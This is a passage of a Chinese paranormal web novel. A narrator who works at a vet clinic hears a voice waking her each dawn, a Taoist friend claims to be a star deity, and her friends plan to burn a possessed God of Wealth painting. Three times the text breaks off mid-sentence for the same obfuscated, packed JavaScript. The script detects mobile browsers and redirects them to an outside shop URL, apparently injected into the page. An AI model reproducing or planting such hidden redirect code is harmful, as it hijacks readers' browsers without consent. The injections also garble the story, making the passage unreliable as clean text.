从道观回来的当晚,我便迫不及待地打开电脑,找到那个公众号,点进了义工申请表的链接。表格需要填写的信息颇为详细,从个人基本情况到对道教的认知程度,甚至还有“为何想做义工”的开放性问题。我斟酌着语句,尽量诚恳地表达了对传统文化的好奇与对那道观清静氛围的向往,然后郑重地点击了发送。接下来的两天,我时不时查看邮箱和微信,心里像揣了只小猫,爪子轻轻挠着,带着一丝隐秘的期待。等到第二天傍晚依旧没有回音时,那点期待便渐渐冷却,化作了“果然没通过”的淡淡失落。 没想到,第三天下午,微信通讯录那里突然亮起了一个红色“1”。点开一看,是一个陌生的头像,申请备注简洁有力:“XX观。” 我的心猛地一跳,赶紧通过。 “福生无量,申请表我已看过。” 对方开门见山,语气平和却自带一股不容置疑的沉静力量,“我姓薛,是观里的住持。你何时方便过来?” 我强压住兴奋,连忙说明还有两位朋友一同前往。薛道长回复得很快,只有一个字:“可。” 接着又补充,“商定时间,提前告知即可。” 成了!我几乎要从椅子上跳起来,立刻将这个好消息分享给了知南和千尘。我们叽叽喳喳地讨论了半天,最终约定下个月中旬抽空过去——这个月的假期早已消耗殆尽,只能按捺住性子等待。我将确定的日期发送给薛道长,又小心翼翼地问需要准备些什么。道长的回复依旧言简意赅:“自带个人用品,其余观内皆有。” 生活似乎就此按下了一个奇妙的开关。时间再倒回我们从道观探访归来的那个夜晚。送完知南,我拖着疲惫却异常清醒的身体回到家。等阿飞下班回来,我窝在沙发里,跟他提了去做义工的决定。他对此并无异议,只是像往常一样叮嘱了一句“注意安全”,并表示自己工作太忙,实在抽不开身同行。临睡前,他像是忽然想起什么,随口问了一句:“对了,墨宇让你抄的经书,你买了吗?” 我这才恍然记起这茬,连忙摸出手机,在购物软件里搜索《北斗经》和《三官经》,匆匆下了单。 说来也巧,就在薛道长同意我们义工申请的那天,我网购的经书也恰好送到了。薄薄的两册,纸张泛着柔和的米黄色,封面是朴素的蓝色,竖排的繁体字透着古拙的气息。我随手翻了翻,里面满是艰深拗口的词句,心里盘算着,大概还是会像以往那样,凭着三分钟热度抄写几页,然后便束之高阁,继续我“三天打鱼,两天晒网”的常态。 然而,命运的轨迹却在次日清晨,发生了匪夷所思的偏转。 那天,我正深陷在温暖被窝编织的迷梦里,睡得格外香甜。突然,一个清晰无比的中老年男声,如同古刹钟声,毫无预兆地在我耳边(或者说,是在脑海深处?)炸响: “起床了!” 伴随着这声低喝,我感觉自己的头顶被不轻不重地“啪”拍了一下!那触感真实得不容置疑,并非梦境中的虚幻。 我猛地从床上弹坐起来,心脏“咚咚”狂跳,睡意瞬间烟消云散,脑子清醒得如同被冰水浇过。 身边的阿飞被我的动静惊醒,迷迷糊糊地嘟囔:“干嘛呢……大清早的……” 我怔怔地坐着,拿起枕边的手机,屏幕亮起——5:30。窗外还是灰蒙蒙的一片。那个声音……是幻觉吗?可头顶那轻微的触感又如此真实。我茫然地环顾四周,卧室里一切如常,只有阿飞重新响起的均匀呼吸声。 既然毫无睡意,我索性轻手轻脚地爬了起来。想着反正起都起了,便换了衣服,走到门口前那块熟悉的空地上,迎着微熹的晨光,练习起八部金刚功。动作依旧生涩,但一套打完,身上微微出汗,竟觉得通体舒坦。回到家里,才刚六点整。看着书桌上那两本新到的经书,鬼使神差地,我坐了下来,铺开纸笔,开始一笔一画地抄写。那些原本觉得晦涩难懂的句子,在笔尖流淌时,心竟奇异地慢慢沉静下来。 抄到七点,放下笔,准备出门买菜吃早饭。就在这时,一个念头毫无缘由地冒了出来:听听墨宇推荐的《玄门早课经》吧。说实话,自从听过墨宇那晚如同“鬼哭狼嚎”的诵唱后,我对这类“经韵”实在提不起太大兴趣,一直搁置着。但那天早上,就是莫名地想听。 我戴上耳机,找到孟圆辉道长的版本,按下了播放键。 清越、悠扬、庄严肃穆的诵经声流淌而出,伴随着钟磬和木鱼沉稳的节奏,瞬间将我包裹。那是一种难以言喻的感受——我明明第一次完整聆听,心底却涌起一股莫名的熟悉感,仿佛这旋律早已刻印在灵魂深处某个被遗忘的角落。一种难以名状的感动和心旷神怡之感弥漫开来,驱散了最后一丝残存的困倦。 听完早课,已是快八点。我急匆匆吃了早饭赶往医院。本以为起得太早,白天肯定会精神不济,谁知一整天下来,非但毫无困意,反而感觉神清气爽,思路清晰,连工作效率都似乎提高了不少。 晚上六点半到家,系上围裙开始准备晚餐。厨房里飘着饭菜的香气,我顺手又点开了《玄门晚课经》。庄严,肃穆的诵唱声在小小的厨房里回荡,听着听着,我正切着菜的手忽然顿住了——眼泪毫无预兆地涌了出来,顺着脸颊滑落,滴在砧板上。我并不觉得悲伤,甚至不清楚经文具体唱诵的内容,可那泪水就是不受控制,仿佛来自心底最柔软的深处,被这悠远的声音牵引而出。 我有些慌乱,关掉音频,擦了擦眼泪,给墨宇发去消息,描述了这奇怪的反应。 墨宇回复得很快,语气平静:“无妨,这是正常的。经韵本身带有特殊的能量场,能与听者身心共鸣,产生净化或触动情绪的效果,因人而异。” 那时的我还不懂早晚课内容的作用,后来学习后才知道有“早课请神,晚课超度”这一说,当时只觉得这种身不由己的反应既神奇又有点吓人。 我以为那天的早起只是个意外,是精神过度兴奋所致。没想到,接下来的日子,我如同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908322|192415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被设定好程序的机器,每天清晨五点半,必定会被那声清晰的“起床了”和头顶那一下轻微的拍打准时唤醒,分秒不差。然后便是练功、抄经、听经,规律得像钟摆。 这种反常的作息连阿飞都察觉了,他纳闷地看着我:“你最近怎么了?以前闹钟都叫不醒,现在起得比鸡还早?” 我无奈地告诉他:“有人叫我起床。” 他失笑,显然不信:“梦里有人叫你吧?肯定是你自己潜意识想早起。” 我又跟知南吐槽,她也觉得是我心理作用,太想去道观体验,导致日有所思,“耳”有所闻。 但我知道,那声音不属于我。它清晰、陌生,带着不容置疑的权威感。虽然这种“强制早起”对我的身体健康似乎颇有裨益,以往爬楼都喘的状况改善了许多,脸色也红润起来,可连续半个月无法睡懒觉,还是让我感到一丝莫名的郁闷和困惑。 这种状态持续了快半个月。一天深夜,我正沉浸在深沉的睡眠中,忽然感觉右脚脚底一个点传来一阵尖锐的刺痛,像是被细针扎了一下。我在睡梦中无意识地伸手去捏那个疼痛点。 这时,那个熟悉的中老年男声又响了起来,带着一丝不满: “不通,还是不通啊。” 我睡得迷迷糊糊,含糊地反问:“这是哪里?好疼啊……” “涌泉穴。”那声音清晰地回答。 实在是太困了,嘴里嘟哝着重复了一句:“噢,涌泉穴……”翻了个身,又沉沉睡去。 第二天清晨,五点半准时醒来。我做的第一件事就是摸向自己的右脚底,回忆起昨夜刺痛的位置。然后立刻打开手机搜索“涌泉穴”。当图片和文字说明跳出来时,我浑身的血液似乎都凝滞了一瞬——位置分毫不差! 一股混杂着惊骇、荒谬和极度好奇的情绪猛地冲上头顶。 ‘我嘞个去!什么情况?!涌泉穴不通?谁在跟我说话??是……是那个声音在指点我?!’ 我手忙脚乱地给墨宇发消息,描述了这离奇的“夜半点拨”。 没想到,他这次竟然秒回,但内容依旧是那句让我抓狂的话: “别担心,等我来了再跟你细说。” 又是这句话!我对着手机屏幕简直要呕出血来,太无语了! 然而,气归气,经过这半个月雷打不动的早起锻炼和抄经听经,我的身体状态确确实实发生了肉眼可见的改善。以往那种莫名的疲惫感消散了大半,精神头足了,连带着心情也明朗了许多。这股由内而外生发出来的活力,是任何补品和懒觉都无法带来的。 于是,那份因未知而产生的焦虑和纠结,渐渐被身体切实感受到的好处冲淡了。我不再执着于追问“为什么”,只是偶尔在夜深人静时,会冒出一个荒诞的念头:我该不会是……得了什么奇怪的癔症,或者开始出现幻听了吧?但看看镜中气色渐好的自己,又觉得,如果这是“病”,那这“病”似乎……也不全是坏事。 10. 元神? 月初的午后,阳光带着点慵懒的暖意,墨宇总算出现在了诊所门口。他今天穿了件灰蓝色的棉麻衬衫,身形清瘦,站在那里,仿佛一阵山风就能把他吹跑。我一见他,积压了半个月的火气与好奇“噌”地就冒了上来,二话不说,上前就给了他胳膊一拳,力道没收住,砸得他“嘶”了一声。 “你个小道士!存心要吊我胃口是不是?”我压低声音,咬牙切齿,“话只说一半,跟挤牙膏似的!今天你要是不给我说清楚,我就……我就……”我一时想不出能威胁他什么,气得直瞪眼。 墨宇揉着胳膊,龇牙咧嘴,那双清亮的眼睛里却满是狡黠的笑意:“哎哟,楠木姐,手下留情!你看你现在,印堂发亮,眼神有光,气血可比之前旺多了,金刚功没白练啊!”他像鉴赏古玩似的把我从头到脚扫了一遍,话锋忽地一转,带着点试探,“练了这些时日,体内有‘炁感’了吗?比如练功时,手心、小腹有没有发热、发麻的感觉?” “炁感?”我茫然地眨眨眼,“不懂。就是前几天,我故意赖床到日上三竿,快中午了才爬起来补功课。结果刚练完,鼻子一热,两道鼻血就下来了,还头晕眼花,天旋地转的,直接瘫回床上昏睡了一整天,跟中了暑似的。” “额……”墨宇一拍额头,满脸“坏了”的表情,“怪我怪我,忘了这最要紧的一茬!这金刚功汲取的是朝阳生发之气,最忌正午阳气极盛时练,容易引动内火,气冲头顶!你那不是上火,是‘炁’堵在头上下不来了!这么难受怎么不早点问我?” “我还以为是自己熬夜熬虚了,突然补练猛了呢!”我撇撇嘴,想起那天浪费的假期就心疼,“睡一觉就好了,谁还想得到找你?别打岔!”我一把揪住他微宽的袖口,仿佛怕他跑了,“快说!那个每天五点半准时在我脑子里敲钟、还带拍我脑袋的‘闹钟鬼’到底是谁?还有大半夜说我涌泉穴不通的!我是不是压力太大,幻听到需要去看心理医生了?” 墨宇见我真是急了,也不再卖关子,指了指诊所外不远处一棵老树下的阴凉:“这事儿三言两语说不清,走,那边坐着聊。” 树荫下光影斑驳,微风拂过,带来一丝凉爽。墨宇收敛了玩笑的神色,目光变得有些悠远,他看着我,缓缓开口:“楠木姐,上次走阴失败那件事,你还记得多少?” “记得多少?”我声音不自觉地提高,“每一个细节都刻在脑子里好吗!那诡异的脚步声,挤满人的感觉,公鸡瘆人的惨叫,还有千尘指着我腿说有小鬼抱着!你觉得我能忘?”那晚的寒意仿佛又顺着脊椎爬了上来。 “嗯。”墨宇点点头,语气沉静,“你这事儿,根子就出在那次失败的走阴上。它像一把钥匙,无意间打开了一些……原本不该这么早触碰的东西。”他顿了顿,眼神里带着些许歉意,“关于你自身的具体缘由,牵扯颇深,现在天机未至,我真的不能多说。不过,我可以先告诉你我身上发生的变化,或许你能从中窥见一二。” 他深吸一口气,仿佛下定了决心:“那次法事之后,我没立刻来找你,是因为我自己也陷入了一片混乱。许多不属于今生的记忆碎片,像决堤的洪水一样冲进我的脑海……我花了很长时间,才勉强将它们拼凑起来,接受那个身份。” “身份?什么身份?”我的心跳莫名加速。 “我记起来了,”他的声音不高,却像一块巨石投入平静的湖面,“我的元神本源,并非凡人,而是上界的……孤星星君。”他微微蹙眉,似乎在寻找合适的词语来描述,“职责嘛……大概就是巡游诸天,看到那些过于沉醉于欢乐、以至于忘了根本的人,便适时降下一缕孤寂之意,让他们清醒片刻,不至于乐极生悲……” “卧槽!”我惊得从石凳上弹起来,手指着他,声音都变了调,“孤星星君?!你这活儿干的……那……那不就是民间说的扫把星吗???” 刹那间,各种关于灾星、霉运的传说充斥脑海。 墨宇没好气地甩给我一个白眼,简直要翻到天上去:“我就知道你会这么想!孤星不等于扫把星好吗!那是世人误解!专门带来霉运的是扫把星,狐狸才是!不过他位阶不高,只是那边的一个小役使……哎,这不是重点!”他挥挥手,像是要挥散这令人不快的联想,“我这次辞别星宫,降生人间,是因为我的好友——欢喜星星君。他看我常年独处,清冷孤寂,体会不到人间情谊的温暖与快乐,心中不忍,便向上峰陈情,为我争取了这个下来历练、体验红尘喜乐的机会。” “哇!你这朋友能处!有事他真上啊!”我由衷赞叹,随即好奇,“那他呢?他没陪你一起下来?” “他啊?”墨宇嘴角勾起一抹恶作剧得逞般的坏笑,“当然下来了。不过,是我反手也递了个申请把他弄下来的——看他整天无忧无虑,笑得没心没肺,我也让他来尝尝这人间五味,什么叫‘不如意事常八九’!” “你……你可真是个小机灵鬼啊!”我指着他,简直哭笑不得,“够损的!那你们现在碰上面了吗?” “嗯,说来也是奇妙。”墨宇眼中闪过一丝缘分天定的感慨,“等我记忆苏醒后,才发现我和他在人间竟然拜了同一位师父学习术数,只是他在外省。我们虽素未谋面,却一直在网上相谈甚欢,颇为投契。不过他现在灵台蒙尘,对前事一无所知,我现在自然不会去点醒他。” “那他家在人间条件怎么样?体验到你说的‘人间疾苦’了吗?”我憋着笑问。 墨宇默默抬头望了望被树叶切割得支离破碎的天空,语气带着点莫名的幽怨:“他家……挺有钱的,他是富二代,目前看来,依旧活得没心没肺,快乐得很。” “哈哈哈哈哈哈哈哈哈哈!”我再也忍不住,拍着大腿笑得前仰后合,“让你算计人家!这下傻眼了吧?人家下来是度假的!” “笑什么笑!风水轮流转!”墨宇佯装愠怒,耳根却有点红。 “所以,你真不是扫把星?”我忍住笑,又确认了一遍。实在无法将眼前这个时而沉稳、时而跳脱的少年,与神话里那个代表着孤独与疏离的星君形象重叠起来。 “是孤星!孤星!”墨宇几乎要跳脚,强调道,“我主掌的是孤寂意境,让人反省自身,不是带来厄运!不过,既然记起了这层身份和职责,人间的一些因果也需了结。狐狸那边,我与他还有些旧账要算。” “他居然是扫把星……”我喃喃道,想起狐狸那总带点倒霉劲的往事,“不过说起来,狐狸确实挺背的。上次他在箭馆,用我的弓,也不知怎么手滑了,一箭脱靶,精准地射穿了后面那块昂贵的电子显示屏,赔了馆主好几百大洋,肉疼了好几天。” “他的事暂且不提。”墨宇摆摆手,神色认真起来,“今天跟你交这个底,是让你心里有个准备。接下来这段日子,到了晚上……我可能需要带你一起出去‘办点事’。” “晚上出门?”我懵了,“办什么事?什么上面下面的?去哪儿?怎么去?我白天还得给猫狗看病呢!” 一种不祥的预感油然而生。 “哎呀呀,”墨宇又露出了那种高深莫测、让人牙痒痒的表情,“你到时候只管安心睡觉就好,其他的,自然会知晓。至于你能记住多少过程,那就看你自身的灵性和造化了。” “不是!你等等!”我急了,感觉像是要被拉上一条贼船,“我白天伺候毛孩子已经累得像条狗了,晚上还要跟你出去‘加班’?这是007啊!黑心老板都没你这么狠!有工资吗?有补贴吗?” 墨宇被我逗笑了,无奈地白了我一眼:“有功德!无量功德!这报酬还不够丰厚吗?” “好啦,关于你的事,我目前真的只能透露这么多。时机成熟,你自然会明白一切。”墨宇站起身, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908323|192415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弹了弹衣角,准备告辞。 “等等!话都说到这份上了,我有个从小的困惑,今天必须问问你!”我急忙喊住他,这个问题在我心里埋藏太久了。 “你说。”他停下脚步,回头看我。 “我……我从很小的时候起,就经常一个人对着镜子发呆。”我斟酌着词句,说出这个从未对人言说的秘密,“总觉得……镜子里那张脸,那个身体,非常陌生,不像是我的。甚至……连性别都感觉怪怪的,有一种强烈的、灵魂装错了壳子的违和感。这……你知道吗?还是说,纯粹是我小时候思维发达,胡思乱想出来的?” 墨宇闻言,转过身,脸上露出那种熟悉的、带着点戏谑和“你终于问到点子上”的复杂笑容:“哟嚯,没想到你自己灵觉这么敏锐,居然早就察觉到了?”他微微前倾身子,压低了声音,像是在分享一个天大的秘密,“给你个提示——回去问问你妈妈,在你之前,她是不是还怀过另一个孩子,还是个男孩子。” 我彻底愣住了,下意识反驳:“不可能!我是独生女啊,户口本上就我一个……” “问问看嘛,”墨宇笑得像只偷腥的猫,“你小时候的感觉,可不是空穴来风。不过呢,具体为何会如此,我暂时……无可奉告。” 听他这说了等于没说的回答,我心里的好奇和那股想把他按在地上摩擦的冲动同时达到了巅峰!又东拉西扯了几句,墨宇便挥挥手,身影消失在街角。 他刚一走,我立刻掏出手机,拨通了妈妈的电话。强压着剧烈的心跳,闲话家常了几句,才故作轻松地切入正题:“妈,我问你个事儿呗,在我出生之前,你是不是……还怀过别的孩子?” 电话那头,陷入了长达十几秒的沉默,静得我只能听到自己紧张的呼吸声。良久,妈妈的声音才传来,带着一丝不易察觉的颤抖和讶异:“你这孩子……怎么突然问起这个?都是多少年前的旧事了……”她顿了顿,声音低沉下去,“是啊,在你出生前两年,我是怀过一个男孩儿,都七个多月了,成形了……可惜,娘胎里就没保住,没生下来。后来,调养好了身体,才有的你。” 我的心猛地一沉,一股混杂着震惊、恍然和莫名悲伤的情绪瞬间席卷了我。竟然……是真的! “我……我就是突然梦到了,随便问问。”我强作镇定,用玩笑掩饰内心的波涛汹涌,“老妈,你说有没有可能,那个没保住的孩子……也是我呢?” “胡说八道什么!”妈妈的声音立刻带上了责备和关切,“你是不是最近工作太累,又看了什么乱七八糟的东西?别整天想这些神神鬼鬼的,注意休息,好好吃饭,听见没有?” 挂了电话,我握着发烫的手机,久久无法回神。窗外的阳光依旧明媚,我却感觉一股寒意从脚底蔓延至全身。这段被时光尘封的家族秘辛,竟然被墨宇以一种近乎诡异的方式点破。这背后,究竟缠绕着怎样错综复杂的因果?我的“感觉”,那个未出世的兄长,以及墨宇口中的“元神”、“星君”……这一切,像一张巨大的、无形的网,正缓缓向我收紧。 后来,我把和墨宇这番石破天惊的对话,原原本本地复述给了知南和千尘。当我说到墨宇自称是“孤星星君”时,她们俩的反应果然和我预料的一模一样,先是瞬间瞪大了眼睛,随即异口同声地惊呼: “扫把星?!” 短暂的死寂后,便是抑制不住的、几乎要掀翻屋顶的爆笑: “哈哈哈哈哈哈哈哈哈……!” 笑声在空气里久久回荡,冲散了些许笼罩在我心头的阴霾,却也让那通往未知世界的大门,在我面前,裂开了一道更深的缝隙。元神觉醒,前世星君,那个没出生的男孩儿……我的平凡人生,从那个走阴失败的夜晚开始,似乎就驶上了一条完全偏离航道的、光怪陆离的旅途。而前方,依旧是迷雾重重。 11. 附灵的画像 墨宇这一趟来访,像在我原本平静的心湖里投下了一连串深水炸弹。最初是纯粹的好奇,听着那些关于元神、星君、前世因果的玄奇故事,觉得新鲜又刺激。可当他离开,我独自冷静下来,用那套浸淫了二十多年的理性思维去反复推敲时,疑虑便如同潮水般涌了上来。 我本就是个疑心病很重的人,凡事总想寻个合乎逻辑的根底,习惯性地去抠细节、找漏洞。即便亲身经历了贵州的诡事、听到了脑中的“起床铃”,我心底仍有一个声音在顽强地抵抗:会不会是巧合?会不会是集体心理暗示?甚至……墨宇是不是在编故事逗我玩? 可另一方面,那些光怪陆离的叙述,又像磁石一样吸引着我与生俱来的、过于旺盛的好奇心。我想起知南常半开玩笑地点评我:“你呀,就是典型的又怂又爱玩,好奇心害死猫知不知道?” 我撇撇嘴,在心里反驳:人要是没了求知欲,活着跟咸鱼还有什么分别? 脑子里两种念头天人交战,乱糟糟的。又想到墨宇那句“晚上带你出去打工”,心里竟莫名生出一丝隐秘的、连自己都觉得荒谬的期待。 或许是想得太多,也或许是连日来的“强制早起”积累的疲惫,那天晚上,我竟罕见地早早感到了困倦,几乎是头一沾枕头就陷入了沉睡。 然后,我做了一个极其逼真而又离奇的梦。 梦里,似乎有一个人影(看不清面容,但感觉莫名熟悉)引领着我,不断地穿梭、转换场景。周遭光影陆离,模糊不清,唯有其中一个片段,如同被烙印般清晰——我站在一处古色古香、类似殿宇的回廊前,面前垂着一道由无数鲜红丝线编织成的门帘。那些红线细密而繁复,在不知来源的光线下泛着柔和的光泽。我下意识地伸手撩起门帘,侧身进入的瞬间,手臂却被几根红线轻轻缠绕了一下。我嘴里无意识地嘟哝了一句:“好麻烦啊,怎么挂住了……” 随即,那缠绕感便消失了,梦境再次陷入一片混沌的快速切换中。 第二天清晨,五点半,准时被“拍醒”。 我揉着惺忪的睡眼坐起来,感觉浑身像是被拆开重组过一样,疲惫不堪,四肢百骸都透着一种说不出的酸软。明明睡得很早,一夜无梦(或者说,只记得那一个片段),怎么起来后比连续加班还要累?我一边撑着发软的腿去洗漱,一边努力回忆着那个关于红线门帘的梦。 难道……真是墨宇带我去“打工”了? 这个念头刚冒出来,就被我强行按了下去。肯定是日有所思,夜有所梦,自己脑补出来的!可心里终究不踏实,上班前还是给墨宇发去了消息,简单描述了一下梦里那个红线门帘的场景。 墨宇的回复很快,语气平淡得像在说今天天气不错:“嗯,昨夜带你去拜访了一下各个部门,熟悉下环境。你看到的红线帘子,是月老殿前的。” 月老殿?! 我盯着屏幕,一时愣住,差点把嘴里的豆浆喷出来。月老?就是那个电视剧里拿着红线牵姻缘的月老?墨宇这故事编得是越来越离谱了,真当我是三岁小孩好骗呢?一股被戏弄的感觉涌上心头,我撇撇嘴,只回了一个干巴巴的“哦”字,便收起手机,不想再跟他继续这个“神话故事”。 然而,一整天的工作我都有些心不在焉。墨宇关于元神星君的话、我小时候对镜子的怪异感觉、还有昨晚那个清晰得不像话的梦……这些碎片像走马灯一样在我脑子里来回旋转。老板看出我状态不对,关切地问我是不是发生了什么事。我连忙摇头,扯出一个笑容敷衍道:“没事儿,就是昨晚没睡好,有点走神,哈哈哈哈。” 我知道,这些事对任何一个“正常人”说,都会被当成是发了癔症,只能选择沉默。 好不容易熬到下班,身体却越发疲惫,像是精力被什么东西抽干了。晚上回到家,我几乎是瘫倒在床上,连阿飞都看出了我的异常,担心地问:“老婆,你最近是不是太累了?脸色这么差。” 我含糊地应了一声,便沉沉睡去。 这一夜的梦,又与前一天截然不同。 我梦见自己独自一人,站在一个外观极其普通的电梯里,不锈钢的墙壁,明亮的灯光,数字按钮面板一应俱全。然而,这电梯的运行方式却诡异得让人头皮发麻——它并非直上直下,而是会毫无征兆地横向移动,甚至猛地直角拐弯!速度极快,失重感和眩晕感交替袭来,我在梦里被晃得东倒西歪,一阵阵强烈的眩晕感不断上涌,胃里翻江倒海,竟然在梦里体验到了想吐的感觉! 那一晚,我不知道这诡异的电梯究竟带我去了哪里,醒来时,只有那种强烈的、令人作呕的眩晕感和失重感还残留在身体里,久久不散。我趴在床边,捂着胸口,嘴里不停地碎碎念:“要了老命了……这到底是什么鬼电梯啊!怎么会拐弯啊!哕……” 带着一肚子窝火和惊疑,我又给墨宇发去了消息,控诉这诡异的“电梯惊魂”。 墨宇的回复依旧淡定,甚至带着点“这很正常”的语气:“淡定,不过是去地府走了几趟流程而已,别慌。” “你大爷的!”我气得直接对着手机骂出了声,手指飞快地打字,“我一个大活人下什么地府啊!我下去干嘛?!观光旅游吗?还是我寿命到了要去报到了啊!喂!” “呀,这个嘛……无可奉告啊,楠木姐。”屏幕上跳出他带着笑意的文字,隔着屏幕我都能想象出他那张故作高深又欠揍的脸,“你不记得具体做了什么,我也不能泄露天机啦。” 那一刻,我坐在床上,深呼吸了好几次,才压下了想把墨宇脑袋拧下来当球踢的冲动! 起来后依旧是疲惫的,但奇怪的是,一套八部金刚功练下来,那股深入骨髓的疲惫感竟然消散了大半,精神也恢复了不少。 虽然嘴上骂骂咧咧,但内心深处,我却不得不承认,自己对这种离奇的经历,除了恐惧和疲惫,竟也滋生出一丝难以言喻的好奇与兴奋。这种超越日常、仿佛闯入另一个维度的体验,对我这种好奇心过剩的人来说,有着致命的吸引力。 接下来的几天,梦境依旧是各种“东奔西跑”,有时是乘坐那辆疯狂的“灵异电梯”,有时是在某些光影扭曲、结构奇特的建筑里穿梭。我逐渐有些麻木了,只是梦里始终浑浑噩噩,不清楚自己具体在干什么,如同一个被设定好程序的提线木偶。我不禁想起自己之前的吐槽——这可不就是过着白天医院打工,晚上“阴间”打工的007生活吗?只能苦中作乐地自我安慰:行吧,日子倒是挺“充实”的。 日子过的很快,原本和知南、千尘约好中旬去道观做义工,但她俩临时都有要事,行程只得搁置。我满怀歉意地给薛道长发了消息说明情况。道长回复得很是宽和:“无妨,俗事要紧,有空再来便是。” 本以为这个月与道观无缘了,没想到下旬的一天,我正在诊所里给一只金毛检查皮肤,手机突然震动,是千尘发来的消息:“楠木,你今天下班有空来一下知南家吗?出了点儿事儿。” 我心里一紧,忙完手里的活儿后,立刻打电话过去想问清楚。千尘接起电话,语气有些无奈:“电话里一时半会儿说不清,你来了再说吧。” 这种悬而未决的担忧最是磨人,接下来的几个小时,我工作时都有些心神不宁。好不容易熬到下班,给阿飞发了条信息说晚点回去,便匆匆打车赶往知南住的公寓。 知南家是一间收拾得干净利落的单身公寓。我一进门,也顾不上寒暄,迫不及待地问:“怎么了?出什么事了?” 千尘没直接回答,而是抬了抬下巴,指向靠墙的一个白色置物架顶端:“喏,问题在那儿呢。今天闲着没事过来找知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908324|192415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南玩,一进门我就感觉不对劲,一眼就瞅见那玩意儿了。” 我顺着她的目光看去。置物架下层都堆放着一些书籍和杂物,顶层却颇为突兀地摆着一幅画像。画上是一个穿着红袍、笑容可掬、用手指着人的财神,下面还有一行俏皮的字——“指谁谁发财”。这画像知南买回来时我们还一起调侃过,觉得好玩就让她摆着了。 “这财神像怎么了?不是都放了快一年了吗?”我不解。 “我是一直放着啊,觉得挺有趣的,就前段时间总感觉家里有人盯着我。”知南靠在沙发上,语气有些无辜。 千尘抱起手臂,眉头微蹙:“我不喜欢在家里随便摆这种画像,太容易钻进去些奇奇怪怪的东西了。你们仔细看它的眼睛,那眼神,不觉得有点邪性吗?” 听她这么一说,我凝神细看。画上的财神依旧是那副标准的笑脸,但不知是不是心理作用,那微微弯起的眼睛里,似乎确实少了几分慈悲祥和,多了点难以言喻的、直勾勾的审视感,看得人心里有点发毛。画像前还摆着一个小巧的铜质香炉,旁边一个白色陶瓷盘里,放着一个已经干瘪发皱、毫无水分的苹果。 我指着那苹果,试图缓解下紧张的感觉,故作调侃的说:“你每天还给它上香啊?这苹果你供了多久了啊?都成苹果干了!” “香是偶尔点一根,主要是我自己喜欢那个味道,不是专门供奉它。”知南解释道,“至于苹果……就是偶尔没吃完,顺手放上去的,后来就……忘了。” “看吧,”千尘摊手,“总之这画像里现在确实待了个‘东西’,眼神才变成这样。你来之前,知南已经决定让我送它走了。这种附着灵体的画像,最好送到道观或者寺庙里焚化处理比较稳妥。” “焚化?市内的寺庙估计不让随便烧东西。我们上次去那个道观应该可以,就是太偏远了,今天肯定去不成,得等明天。而且车被阿飞开走了,他工作不一定能把车给我。我问问李姐看看她方不方便。”我迅速盘算着。 接着,我又想到一个问题:“烧掉就行了吗?那里面的……‘东西’,会被烧死吗?” “当然不会,”千尘摇头,“人间普通的火怎么可能烧得死它?焚化画像,只是帮它脱离这个载体。在那个地方焚烧,它出来后,可以选择留在观里听经闻法修行。就算它想作恶,那种地方也有神明护法看着,容不得它乱来。我刚才已经跟它沟通过了,它自己也愿意离开,只是它道行不够,自己挣脱不出来,所以才需要烧掉画像。虽然我也可以直接把它揪出来,但怕它以后又跑回来找知南麻烦。不过……”她顿了顿,脸上露出一丝古怪的笑意,“估计它也不太可能想回来了。” “为什么?”我更加疑惑。 千尘用下巴指了指知南,调侃道:“你问问这位大小姐咯!这东西在这里待了快一年,香火没几缕,供奉每次就一个放到干巴的苹果,走又走不掉,饿得前胸贴后背。你说它难不难?惨不惨?我刚才问它愿不愿意走,它答应得那叫一个爽快利落!” “喂!我好歹也偶尔一个苹果好吗?!是它不知足,怪不得我。”知南不服气地反驳。 我看着盘子里那个堪称“文物”的干苹果,忍不住吐槽:“你管那叫苹果?这诚意……怕是负分吧?” 话音刚落,我和千尘同时忍不住笑出了声。知南气鼓鼓地“哼”了一声,扭过头不理我们了。 “好了好了,虚惊一场。”我松了口气,拍拍胸口,“还以为是什么大事呢,吓我一跳。这事好办,我去联系李姐和安排时间,晚点给你们答复。” 虽然嘴上说得轻松,但看着那幅眼神微妙的财神像,我心里明白,我们这个“探险小队”,似乎正不可避免地越陷越深,踏入了一个远比想象中更复杂、也更广阔的神秘世界。 12. 机缘巧合 当天晚上,我给老板阿健发消息说明天想休一天假。无奈他表示说得太晚,排班已经定下。虽然没同意让我休一整天,但还是通融地批了下午半天。我想着只是去烧个东西,速战速决,半天也足够了,便应承下来。 随后,我拨通了李姐的电话:“李姐,明天下午有空吗?我们去道观玩一下呀?” “好呀,”李姐爽快地答应,“我还没去过道观呢,正好明天下午不忙。不过可能要稍微晚一点才能出发。” 